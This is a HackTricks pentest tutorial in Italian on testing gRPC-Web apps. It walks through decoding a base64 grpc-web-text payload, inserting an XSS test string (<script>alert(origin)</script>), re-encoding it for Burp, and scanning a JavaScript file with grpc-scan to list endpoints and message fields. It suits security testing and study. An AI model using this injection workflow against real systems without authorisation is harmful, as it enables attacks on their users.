gRPC-Web Pentest

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Manipolazione dei Payload gRPC-Web

gRPC-Web utilizza Content-Type: application/grpc-web-text nelle richieste, che è una sorta di protobuf in forma codificata base64. Puoi utilizzare lo strumento gprc-coder e puoi anche installare la sua Burp Suite Extension.

Manuale con lo strumento gGRPC Coder

1. Prima decodifica il payload:

echo "AAAAABYSC0FtaW4gTmFzaXJpGDY6BVhlbm9u" | python3 grpc-coder.py --decode --type grpc-web-text | protoscope > out.txt

1. Modifica il contenuto del payload decodificato

nano out.txt
2: {"Amin Nasiri Xenon GRPC"}
3: 54
7: {"<script>alert(origin)</script>"}

1. Codifica il nuovo payload

protoscope -s out.txt | python3 grpc-coder.py --encode --type grpc-web-text

1. Utilizzare l'output nell'intercettore di Burp:

AAAAADoSFkFtaW4gTmFzaXJpIFhlbm9uIEdSUEMYNjoePHNjcmlwdD5hbGVydChvcmlnaW4pPC9zY3JpcHQ+

Manuale con l'estensione gRPC-Web Coder di Burp Suite

Puoi utilizzare l'estensione gRPC-Web Coder di Burp Suite in gRPC-Web Pentest Suite che è più facile. Puoi leggere le istruzioni per l'installazione e l'uso nel suo repository.

Analisi dei file Javascript gRPC-Web

C'è almeno un file Javascript in ogni applicazione gRPC-Web. Puoi analizzare il file per trovare nuovi messaggi, endpoint e servizi. Prova a utilizzare lo strumento gRPC-Scan.

1. Scarica il file Javascript gRPC-Web

2. Scansiona con grpc-scan.py:

python3 grpc-scan.py --file main.js

1. Analizza l'output e testa i nuovi endpoint e i nuovi servizi:

Output:
Found Endpoints:
/grpc.gateway.testing.EchoService/Echo
/grpc.gateway.testing.EchoService/EchoAbort
/grpc.gateway.testing.EchoService/NoOp
/grpc.gateway.testing.EchoService/ServerStreamingEcho
/grpc.gateway.testing.EchoService/ServerStreamingEchoAbort

Found Messages:

grpc.gateway.testing.EchoRequest:
+------------+--------------------+--------------+
| Field Name |     Field Type     | Field Number |
+============+====================+==============+
| Message    | Proto3StringField  | 1            |
+------------+--------------------+--------------+
| Name       | Proto3StringField  | 2            |
+------------+--------------------+--------------+
| Age        | Proto3IntField     | 3            |
+------------+--------------------+--------------+
| IsAdmin    | Proto3BooleanField | 4            |
+------------+--------------------+--------------+
| Weight     | Proto3FloatField   | 5            |
+------------+--------------------+--------------+
| Test       | Proto3StringField  | 6            |
+------------+--------------------+--------------+
| Test2      | Proto3StringField  | 7            |
+------------+--------------------+--------------+
| Test3      | Proto3StringField  | 16           |
+------------+--------------------+--------------+
| Test4      | Proto3StringField  | 20           |
+------------+--------------------+--------------+

grpc.gateway.testing.EchoResponse:
+--------------+--------------------+--------------+
|  Field Name  |     Field Type     | Field Number |
+==============+====================+==============+
| Message      | Proto3StringField  | 1            |
+--------------+--------------------+--------------+
| Name         | Proto3StringField  | 2            |
+--------------+--------------------+--------------+
| Age          | Proto3IntField     | 3            |
+--------------+--------------------+--------------+
| IsAdmin      | Proto3BooleanField | 4            |
+--------------+--------------------+--------------+
| Weight       | Proto3FloatField   | 5            |
+--------------+--------------------+--------------+
| Test         | Proto3StringField  | 6            |
+--------------+--------------------+--------------+
| Test2        | Proto3StringField  | 7            |
+--------------+--------------------+--------------+
| Test3        | Proto3StringField  | 16           |
+--------------+--------------------+--------------+
| Test4        | Proto3StringField  | 20           |
+--------------+--------------------+--------------+
| MessageCount | Proto3IntField     | 8            |
+--------------+--------------------+--------------+

grpc.gateway.testing.ServerStreamingEchoRequest:
+-----------------+-------------------+--------------+
|   Field Name    |    Field Type     | Field Number |
+=================+===================+==============+
| Message         | Proto3StringField | 1            |
+-----------------+-------------------+--------------+
| MessageCount    | Proto3IntField    | 2            |
+-----------------+-------------------+--------------+
| MessageInterval | Proto3IntField    | 3            |
+-----------------+-------------------+--------------+

grpc.gateway.testing.ServerStreamingEchoResponse:
+------------+-------------------+--------------+
| Field Name |    Field Type     | Field Number |
+============+===================+==============+
| Message    | Proto3StringField | 1            |
+------------+-------------------+--------------+

grpc.gateway.testing.ClientStreamingEchoRequest:
+------------+-------------------+--------------+
| Field Name |    Field Type     | Field Number |
+============+===================+==============+
| Message    | Proto3StringField | 1            |
+------------+-------------------+--------------+

grpc.gateway.testing.ClientStreamingEchoResponse:
+--------------+----------------+--------------+
|  Field Name  |   Field Type   | Field Number |
+==============+================+==============+
| MessageCount | Proto3IntField | 1            |
+--------------+----------------+--------------+

Riferimenti

• Hacking into gRPC-Web Articolo di Amin Nasiri

• gRPC-Web Pentest Suite

Impara e pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Impara e pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks

• Controlla i piani di abbonamento!

• Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.

• Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos di github.